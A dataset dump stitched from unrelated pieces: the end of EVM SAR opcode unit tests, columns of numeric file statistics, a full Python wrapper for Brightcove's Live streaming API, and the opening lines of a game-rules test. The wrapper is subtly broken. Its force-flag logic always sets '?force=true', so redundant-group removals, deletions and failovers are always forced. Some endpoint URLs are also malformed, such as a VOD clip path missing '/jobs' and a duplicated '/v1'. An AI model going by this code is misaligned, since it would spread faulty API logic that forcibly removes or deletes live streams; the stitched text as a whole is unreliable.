data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SAR_11(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(28948022309329048855892746252171976963317496166410141009864396001978282409984)
new_vm._push(254)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SAR_12(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819967)
new_vm._push(248)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [127])
def test_SAR_13(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819967)
new_vm._push(254)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SAR_14(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819967)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SAR_15(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819967)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
if __name__ == "__main__":
unittest.main()
| 38.216704
| 100
| 0.674956
| 3,152
| 33,860
| 7.07297
| 0.034581
| 0.051583
| 0.030681
| 0.06818
| 0.953485
| 0.953485
| 0.953485
| 0.953485
| 0.953485
| 0.953485
| 0
| 0.275907
| 0.25189
| 33,860
| 885
| 101
| 38.259887
| 0.6042
| 0.062817
| 0
| 0.86357
| 0
| 0
| 0.042709
| 0.036012
| 0
| 0
| 0.098433
| 0
| 0.165457
| 1
| 0.056604
| false
| 0
| 0.01016
| 0
| 0.072569
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
9866073338a2dd6cccc21c1cee31909a3f9f0ca0
| 34,397
|
py
|
Python
|
brightcove/Live.py
|
asha-bc/BrightcovePY
|
52e220e8e95221745b4de52ba94689509d27c072
|
[
"MIT"
] | 3
|
2020-12-14T23:08:09.000Z
|
2021-08-05T05:44:19.000Z
|
brightcove/Live.py
|
asha-bc/BrightcovePY
|
52e220e8e95221745b4de52ba94689509d27c072
|
[
"MIT"
] | null | null | null |
brightcove/Live.py
|
asha-bc/BrightcovePY
|
52e220e8e95221745b4de52ba94689509d27c072
|
[
"MIT"
] | 2
|
2021-10-19T15:24:28.000Z
|
2022-03-08T08:17:30.000Z
|
"""
Implements wrapper class and methods to work with Brightcove's Live API.
See: https://live.support.brightcove.com/live-api/index.html
"""
from dataclasses import dataclass
from typing import Union
from requests.models import Response
from .Base import Base
from .utils import QueryStringDataclassBase
@dataclass
class LiveQueryParameters(QueryStringDataclassBase):
"""
Dataclass defining URL query parameters for Live API calls.
"""
start_token: str = '' # Next token from previous page; do not specify when fetching first page
page_size: int = 10 # Max number of items to return in one request (1-1000, default is 10)
sort: str = 'created_at' # Attribute to sort jobs by (created_at | modified_at, default is created_at)
sort_dir: str = 'asc' # Sort direction (default is asc):asc - ascending; desc - descending
user_id: str = '' # Filter results by one or more user IDs
account_id: str = '' # Filter results by particular account, or specify ‘*’ to search all accounts.
# Default value is account API key belongs to
created_at: int = 0 # Filter results by Unix time of job creation (in milliseconds)
modified_at: int = 0 # Filter results by Unix time of job last modified (in milliseconds)
ad_insertion: bool = False # Filter results by is SSAI enabled
static: bool = False # Filter results by has static endpoint
state: str = '' # Filter results by one or more job states
# Enum: "error" "standby" "waiting" "processing" "disconnected" "cancelling"
# "finishing" "cancelled" "finished" "failed"
ssai_state: str = '' # Filter results by one or more SSAI states
# Enum: "none" "ready" "waiting_input" "start_transcoding" "transcoding" "error"
region: str = '' # Filter results by one or more regions
# Enum: "us-west-2" "us-east-1" "ap-southeast-2" "ap-northeast-1"
# "ap-southeast-1" "eu-central-1" "eu-west-1" "sa-east-1"
def __post_init__(self):
"""
Add data validation information.
"""
self.valid_data(
{
'sort':
('created_at', 'modified_at'),
'sort_dir':
('asc', 'desc'),
'region':
('us-west-2', 'us-east-1', 'ap-southeast-2', 'ap-northeast-1', 'ap-southeast-1', 'eu-central-1', 'eu-west-1', 'sa-east-1'),
'ssai_state':
('none', 'ready', 'waiting_input', 'start_transcoding', 'transcoding', 'error'),
'state':
('error', 'standby', 'waiting', 'processing', 'disconnected', 'cancelling', 'finishing', 'cancelled', 'finished', 'failed'),
}
)
@dataclass
class LiveClipsQueryParameters(LiveQueryParameters):
"""
Dataclass defining URL query parameters for Live Clips/VOD specific API calls.
"""
jvod_state: str = '' # Filter results by one or more VOD job states
# Enum: "error" "waiting" "waiting_finish_live" "processing" "cancelling"
# "cancelled" "finished" "failed" "creating_asset"
jvod_type: str = '' # Filter results by one or more VOD job types
# Enum: "s3" "ftp" "instant" "error"
label: str = '' # Filter results by one or more VOD job labels
# Enum: "none" "ready" "waiting_input" "start_transcoding" "transcoding" "error"
def __post_init__(self):
"""
Add data validation information.
"""
super().__post_init__()
self.valid_data(
{
'jvod_state':
('error', 'waiting', 'waiting_finish_live', 'processing', 'cancelling', 'cancelled', 'finished', 'failed', 'creating_asset'),
'jvod_type':
('s3', 'ftp', 'instant', 'error'),
'label':
('none', 'ready', 'waiting_input', 'start_transcoding', 'transcoding', 'error')
}
)
class Live(Base):
"""
Class to wrap the Brightcove Live API calls. Inherits from Base.
Attributes:
-----------
base_url (str)
Base URL for API calls.
Methods:
--------
CreateLiveJob(self, json_body: Union[str, dict]) -> Response
Create a live streaming job.
ListLiveJobs(self, query_parameters: LiveQueryParameters) -> Response
List live jobs. Uses pagination.
GetLiveJobDetails(self, job_id: str) -> Response
Get Live Job details.
CreatePlaybackToken(self, job_id: str, json_body: Union[str, dict]) -> Response
The request returns a generated ad_config_id.
ActivateSEPStream(self, job_id: str) -> Response
Activate SEP (static entry point) stream.
DeactivateSEPStream(self, job_id: str) -> Response
Deactivate SEP (static entry point) stream.
ManualCuePointInsertion(self, job_id: str, json_body: Union[str, dict]) -> Response
Inserts a manual Cue-Out with a duration to the Live ingest point.
AddAdMetadata(self, job_id: str, json_body: Union[str, dict]) -> Response
Allows content metadata to be pushed and constantly updated out-of-band from a live stream.
UpdateAdMetadata(self, job_id: str, json_body: Union[str, dict]) -> Response
Allows content metadata to be pushed and constantly updated out-of-band from a live stream.
DeleteAdMetadata(self, job_id: str) -> Response
Deletes ad metadata from a live stream.
InsertID3TimedMetadata(self, job_id: str, json_body: Union[str, dict]) -> Response
Inserts an ID3 timed metadata tag for an ongoing job.
CancelLiveJob(self, job_id: str) -> Response
Cancel a live stream.
StopLiveJob(self, job_id: str) -> Response
Stop a live job.
CreateRedundantGroup(self, json_body: Union[str, dict]) -> Response
Creates a redundant group of live jobs to provide failover in case one stream fails.
GetRedundantGroups(self, state: str, page_size: int=10) -> Response
Get redundant groups for the account.
AddJobsToRedundantGroup(self, redundant_group_id: str, json_body: Union[str, dict]) -> Response
Add Jobs to Redundant Group.
RemoveJobFromRedundantGroup(self, redundant_group_id: str, job_id: str, force: str='') -> Response
Remove the specified Jobs from a Redundant Group.
GetRedundantGroupStatus(self, redundant_group_id: str) -> Response
Get the current status of a redundant group.
DeleteRedundantGroup(self, redundant_group_id: str, force: str='') -> Response
Deletes a redundant group and ends the redundant stream.
ForceRedundantStreamFailover(self, redundant_group_id: str, json_body: Union[str, dict], force: str='') -> Response
Force failover from the on_air stream to a specified secondary stream.
InsertCuepointForRedundantGroup(self, redundant_group_id: str, json_body: Union[str, dict]) -> Response
Manually inserts a cuepoint for a redundant Live job.
ListRTMPOutputs(self, job_id: str) -> Response
Get a list of RTMP outputs.
CreateRTMPOutput(self, job_id: str, json_body: Union[str, dict]) -> Response
Create an RTMP output.
StopRTMPOutput(self, job_id: str, rtmp_out_id: str) -> Response
Stop an RTMP output.
CreateVODClip(self, json_body: Union[str, dict], job_id: str='') -> Response
Create VOD clips from a Live Stream.
GetVODClipJob(self, jvod_id: str) -> Response
Get a VOD clip job by ID.
CancelVODClipJob(self, jvod_id: str) -> Response
Cancel a VOD clip job by ID.
ListVODClipJobs(self, job_id: str, query_parameters: LiveClipsQueryParameters) -> Response
List VOD clips for a Live Stream.
CreateAdConfiguration(self, json_body: Union[str, dict]) -> Response
Create a configuration for server-side ad application.
GetAdConfigurations(self) -> Response
Get ad applications for the current user.
GetAccountAdConfigurations(self, live_account_id: str) -> Response
Get ad applications for an account.
GetAdConfiguration(self, application_id: str) -> Response
Get an ad application.
UpdateAdConfiguration(self, application_id: str, json_body: Union[str, dict]) -> Response
Update a configuration for server-side ad application.
DeleteAdConfiguration(self, application_id: str) -> Response
Get an ad application.
CreateBeaconSet(self, json_body: Union[str, dict]) -> Response
Creates a beacon set.
GetBeaconSetForUser(self) -> Response
Get all beacon sets for the requesting user..
UpdateBeaconSet(self, beacon_set_id: str, json_body: Union[str, dict]) -> Response
Updates a beacon set.
DeleteBeaconSet(self, beacon_set_id: str) -> Response
Delete an ad application.
GetBeaconSets(self, live_account_id: str) -> Response
Get all beacon sets for an account.
IngestSlateMediaSourceAsset(self, json_body: Union[str, dict]) -> Response
Ingest Slate Media Source Asset.
GetUserSlateMediaSourceAssets(self) -> Response
Get Slate Media Source Assets for the current user.
DeleteSlateMediaSourceAsset(self, slate_msa_id: str) -> Response
Delete Slate Media Source Asset.
GetSlatesForAccount(self, live_account_id: str) -> Response
Get all slates for an account.
ListCredentials(self) -> Response
This endpoint can be used to get user credentials for a given user provided one has an API key.
CreateCredential(self, json_body: Union[str, dict]) -> Response
Create a new credential.
UpdateCredential(self, credential_id: str, json_body: Union[str, dict]) -> Response
Update a credential.
DeleteCredential(self, credential_id: str) -> Response
Delete a credential.
"""
base_url = 'https://api.bcovlive.io/v1'
def __init__(self, api_key: str):
"""
Args:
-----
api_key (str): The Live API key to be used in API calls.
"""
super().__init__(None)
self.__api_key = api_key
#region properties
@property
def api_key(self) -> str:
"""
Returns the API key.
"""
return self.__api_key
@property
def headers(self) -> dict:
"""
Gets authorization headers for http requests.
"""
return { 'X-API-KEY': self.api_key, 'Content-Type': 'application/json' }
#endregion
#region Live Jobs
def CreateLiveJob(self, json_body: Union[str, dict]) -> Response:
"""
Create a live streaming job.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def ListLiveJobs(self, query_parameters: LiveQueryParameters) -> Response:
"""
List live jobs. Uses pagination.
Args:
query_parameters (LiveQueryParameters): Query parameters as LiveQueryParameters object.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs{query_parameters}'
return self.session.get(url, headers=self.headers)
def GetLiveJobDetails(self, job_id: str) -> Response:
"""
Get Live Job details.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}'
return self.session.get(url, headers=self.headers)
def CreatePlaybackToken(self, job_id: str, json_body: Union[str, dict]) -> Response:
"""
The request returns a generated ad_config_id. This behavior is handled automatically when
you publish a live video from the Live module publishing screen, but may be useful if you
have a custom workflow.
Args:
job_id (str): Live job ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/playback-token'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def ActivateSEPStream(self, job_id: str) -> Response:
"""
Activate SEP (static entry point) stream.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/activate'
return self.session.put(url, headers=self.headers)
def DeactivateSEPStream(self, job_id: str) -> Response:
"""
Deactivate SEP (static entry point) stream.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/deactivate'
return self.session.put(url, headers=self.headers)
def ManualCuePointInsertion(self, job_id: str, json_body: Union[str, dict]) -> Response:
"""
Inserts a manual Cue-Out with a duration to the Live ingest point.
Args:
job_id (str): Live job ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/cuepoint'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def AddAdMetadata(self, job_id: str, json_body: Union[str, dict]) -> Response:
"""
Allows content metadata to be pushed and constantly updated out-of-band from a live stream.
Args:
job_id (str): Live job ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/cuepointdata'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def UpdateAdMetadata(self, job_id: str, json_body: Union[str, dict]) -> Response:
"""
Allows content metadata to be pushed and constantly updated out-of-band from a live stream.
Args:
job_id (str): Live job ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
return self.AddAdMetadata(job_id=job_id, json_body=json_body)
def DeleteAdMetadata(self, job_id: str) -> Response:
"""
Deletes ad metadata from a live stream.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/cuepointdata'
return self.session.delete(url, headers=self.headers)
def InsertID3TimedMetadata(self, job_id: str, json_body: Union[str, dict]) -> Response:
"""
Inserts an ID3 timed metadata tag for an ongoing job. Note that: 1) If using timecode
property, the job only stores the most recent request for insertion; 2) If using timecode
property, the encoder must be sending SMPTE-formatted (HH:MM:SS:FF) timecode stored in
the tc property via OnFI.
Args:
job_id (str): Live job ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/id3tag'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def CancelLiveJob(self, job_id: str) -> Response:
"""
Cancel a live stream. When a live job is cancelled, it is ended, and any unprocessed VOD
jobs associated with the live job will not be processed.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/cancel'
return self.session.put(url, headers=self.headers)
def StopLiveJob(self, job_id: str) -> Response:
"""
Stop a live job. When a live job is stopped (as opposed to cancelled), the live stream
will stop, but any VOD jobs associated with the live job will continue to process.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/stop'
return self.session.put(url, headers=self.headers)
#endregion
#region Redundant Groups
def CreateRedundantGroup(self, json_body: Union[str, dict]) -> Response:
"""
Creates a redundant group of live jobs to provide failover in case one stream fails.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/redundantgroups'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def GetRedundantGroups(self, state: str, page_size: int=10) -> Response:
"""
Get redundant groups for the account.
Args:
state (str): Filter redundant grous by state.
page_size (int): Max number of items to return in one request (1-1000, default is 10).
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/redundantgroups?state={state}&page_size={page_size}'
return self.session.get(url, headers=self.headers)
def AddJobsToRedundantGroup(self, redundant_group_id: str, json_body: Union[str, dict]) -> Response:
"""
Add Jobs to Redundant Group.
Args:
redundant_group_id (str): Redundant group ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/redundantgroups/{redundant_group_id}/jobs'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def RemoveJobFromRedundantGroup(self, redundant_group_id: str, job_id: str, force: str='') -> Response:
"""
Remove the specified Jobs from a Redundant Group; normally the operation will not remove the job
that is currently on_air, but adding the force=true query parameter will remove it.
Args:
redundant_group_id (str): Redundant group ID.
job_id (str): Live job ID.
force (str, optional): Flag to force removal. Any non empty value counts as true. Defaults to ''.
Returns:
Response: API response as requests Response object.
"""
force = force or '?force=true'
url = f'{self.base_url}/redundantgroups/{redundant_group_id}/jobs/{job_id}{force}'
return self.session.delete(url, headers=self.headers)
def GetRedundantGroupStatus(self, redundant_group_id: str) -> Response:
"""
Get the current status of a redundant group.
Args:
redundant_group_id (str): Redundant group ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/redundantgroups/{redundant_group_id}'
return self.session.get(url, headers=self.headers)
def DeleteRedundantGroup(self, redundant_group_id: str, force: str='') -> Response:
"""
Deletes a redundant group and ends the redundant stream. Note that alternatively you can put
the stream in standby mode by removing all jobs from it.
Args:
redundant_group_id (str): Redundant group ID.
force (str, optional): Flag to force deletion. Any non empty value counts as true. Defaults to ''.
Returns:
Response: API response as requests Response object.
"""
force = force or '?force=true'
url = f'{self.base_url}/redundantgroups/{redundant_group_id}{force}'
return self.session.delete(url, headers=self.headers)
def ForceRedundantStreamFailover(self, redundant_group_id: str, json_body: Union[str, dict], force: str='') -> Response:
"""
Force failover from the on_air stream to a specified secondary stream; note that you can also
accomplish this by stopping the encoder for the on_air stream.
Args:
redundant_group_id (str): Redundant group ID.
json_body (Union[str, dict]): JSON data with the configuration.
force (str, optional): Flag to force deletion. Any non empty value counts as true. Defaults to ''.
Returns:
Response: API response as requests Response object.
"""
force = force or '?force=true'
url = f'{self.base_url}/redundantgroups/{redundant_group_id}/switch{force}'
return self.session.put(url, headers=self.headers, data=self._json_to_string(json_body))
def InsertCuepointForRedundantGroup(self, redundant_group_id: str, json_body: Union[str, dict]) -> Response:
"""
Manually inserts a cuepoint for a redundant Live job.
Args:
redundant_group_id (str): Redundant group ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/redundantgroups/{redundant_group_id}/cuepoint'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
#endregion
#region RTMP Outputs
def ListRTMPOutputs(self, job_id: str) -> Response:
"""
Get a list of RTMP outputs.
Args:
job_id (str): Live job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/rtmpouts'
return self.session.get(url, headers=self.headers)
def CreateRTMPOutput(self, job_id: str, json_body: Union[str, dict]) -> Response:
"""
Create an RTMP output.
Args:
job_id (str): Live job ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/rtmpouts'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def StopRTMPOutput(self, job_id: str, rtmp_out_id: str) -> Response:
"""
Stop an RTMP output.
Args:
job_id (str): Live job ID.
rtmp_out_id (str): RTMP output ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/rtmpouts/{rtmp_out_id}/stop'
return self.session.put(url, headers=self.headers)
#endregion
#region Clips
def CreateVODClip(self, json_body: Union[str, dict], job_id: str='') -> Response:
"""
Create VOD clips from a Live Stream.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
job_id (str, optional): Live job ID. Defaults to ''.
Returns:
Response: API response as requests Response object.
"""
if job_id:
url = f'{self.base_url}/{job_id}/vods'
else:
url = f'{self.base_url}/vods'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def GetVODClipJob(self, jvod_id: str) -> Response:
"""
Get a VOD clip job by ID.
Args:
jvod_id (str): VOD job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/vods/{jvod_id}'
return self.session.get(url, headers=self.headers)
def CancelVODClipJob(self, jvod_id: str) -> Response:
"""
Cancel a VOD clip job by ID.
Args:
jvod_id (str): VOD job ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/vods/{jvod_id}/cancel'
return self.session.put(url, headers=self.headers)
def ListVODClipJobs(self, job_id: str, query_parameters: LiveClipsQueryParameters) -> Response:
"""
List VOD clips for a Live Stream - for additional useful information on the search filters,
see Getting a List of Live or VOD Jobs documentation.
Args:
job_id (str): Live job ID.
query_parameters (LiveClipsQueryParameters): Query parameters as LiveClipsQueryParameters object.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/jobs/{job_id}/vods{query_parameters}'
return self.session.get(url, headers=self.headers)
#endregion
#region SSAI
def CreateAdConfiguration(self, json_body: Union[str, dict]) -> Response:
"""
Create a configuration for server-side ad application.
Note: SSAI is supported for the following regions:
us-west-2, us-east-1, ap-southeast-2, ap-northeast-1, ap-southeast-1, eu-central-1.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/applications'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def GetAdConfigurations(self) -> Response:
"""
Get ad applications for the current user.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/applications'
return self.session.get(url, headers=self.headers)
def GetAccountAdConfigurations(self, live_account_id: str) -> Response:
"""
Get ad applications for an account.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/applications/account/{live_account_id}'
return self.session.get(url, headers=self.headers)
def GetAdConfiguration(self, application_id: str) -> Response:
"""
Get an ad application.
Args:
application_id (str): The ad application ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/applications/application/{application_id}'
return self.session.get(url, headers=self.headers)
def UpdateAdConfiguration(self, application_id: str, json_body: Union[str, dict]) -> Response:
"""
Update a configuration for server-side ad application.
Args:
application_id (str): The ad application ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/applications/application/{application_id}'
return self.session.put(url, headers=self.headers, data=self._json_to_string(json_body))
def DeleteAdConfiguration(self, application_id: str) -> Response:
"""
Get an ad application.
Args:
application_id (str): The ad application ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/applications/application/{application_id}'
return self.session.delete(url, headers=self.headers)
def CreateBeaconSet(self, json_body: Union[str, dict]) -> Response:
"""
Beacons are data points on playback sent to ad servers to track whether and how much of
ads were played. Creates a beacon set.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/beaconsets'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def GetBeaconSetForUser(self) -> Response:
"""
Get all beacon sets for the requesting user..
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/beaconsets'
return self.session.get(url, headers=self.headers)
def UpdateBeaconSet(self, beacon_set_id: str, json_body: Union[str, dict]) -> Response:
"""
Updates a beacon set.
Args:
beacon_set_id (str): The beacon set ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/v1/ssai/beaconsets/beaconset/{beacon_set_id}'
return self.session.put(url, headers=self.headers, data=self._json_to_string(json_body))
def DeleteBeaconSet(self, beacon_set_id: str) -> Response:
"""
Delete an ad application.
Args:
beacon_set_id (str): The beacon set ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/beaconsets/beaconset/{beacon_set_id}'
return self.session.delete(url, headers=self.headers)
def GetBeaconSets(self, live_account_id: str) -> Response:
"""
Get all beacon sets for an account.
Args:
live_account_id (str): Live account ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/beaconsets/account/{live_account_id}'
return self.session.get(url, headers=self.headers)
def IngestSlateMediaSourceAsset(self, json_body: Union[str, dict]) -> Response:
"""
Ingest Slate Media Source Asset.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/slates'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def GetUserSlateMediaSourceAssets(self) -> Response:
"""
Get Slate Media Source Assets for the current user.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/slates'
return self.session.get(url, headers=self.headers)
def DeleteSlateMediaSourceAsset(self, slate_msa_id: str) -> Response:
"""
Delete Slate Media Source Asset.
Args:
slate_msa_id (str): The slate media source ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/slates/slate:{slate_msa_id}'
return self.session.delete(url, headers=self.headers)
def GetSlatesForAccount(self, live_account_id: str) -> Response:
"""
Get all slates for an account.
Args:
live_account_id (str): Live account ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/ssai/slates/account/{live_account_id}'
return self.session.get(url, headers=self.headers)
#endregion
#region Credentials
def ListCredentials(self) -> Response:
"""
This endpoint can be used to get user credentials for a given user provided one has an API key.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/credentials'
return self.session.get(url, headers=self.headers)
def CreateCredential(self, json_body: Union[str, dict]) -> Response:
"""
Create a new credential.
Args:
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/credentials'
return self.session.post(url, headers=self.headers, data=self._json_to_string(json_body))
def UpdateCredential(self, credential_id: str, json_body: Union[str, dict]) -> Response:
"""
Update a credential.
Args:
credential_id (str): A credential ID.
json_body (Union[str, dict]): JSON data with the configuration.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/credentials/{credential_id}'
return self.session.put(url, headers=self.headers, data=self._json_to_string(json_body))
def DeleteCredential(self, credential_id: str) -> Response:
"""
Delete a credential.
Args:
credential_id (str): A credential ID.
Returns:
Response: API response as requests Response object.
"""
url = f'{self.base_url}/credentials/{credential_id}'
return self.session.delete(url, headers=self.headers)
#endregion
| 37.674699
| 145
| 0.626014
| 4,178
| 34,397
| 5.040929
| 0.100287
| 0.026589
| 0.035184
| 0.043303
| 0.864394
| 0.853853
| 0.852239
| 0.843312
| 0.824652
| 0.77945
| 0
| 0.002212
| 0.277146
| 34,397
| 912
| 146
| 37.716009
| 0.844836
| 0.510568
| 0
| 0.354067
| 0
| 0
| 0.195608
| 0.149312
| 0
| 0
| 0
| 0
| 0
| 1
| 0.248804
| false
| 0
| 0.023923
| 0
| 0.602871
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
9868dcf15faaa2cc98516c0bab21844047b81c72
| 3,901
|
py
|
Python
|
tests/game/test_frenzy.py
|
gsverhoeven/ffai
|
673ff00e1aac905381cdfb1228ccfcfccda97d1f
|
[
"Apache-2.0"
] | 3
|
2019-03-05T16:43:37.000Z
|
2020-04-11T14:24:58.000Z
|
tests/game/test_frenzy.py
|
gsverhoeven/ffai
|
673ff00e1aac905381cdfb1228ccfcfccda97d1f
|
[
"Apache-2.0"
] | 1
|
2019-02-24T23:04:16.000Z
|
2019-02-24T23:04:16.000Z
|
tests/game/test_frenzy.py
|
gsverhoeven/ffai
|
673ff00e1aac905381cdfb1228ccfcfccda97d1f
|
[
"Apache-2.0"
] | null | null | null |
import pytest
from ffai.core.game import *
from tests.util import *
def test_frenzy_block():
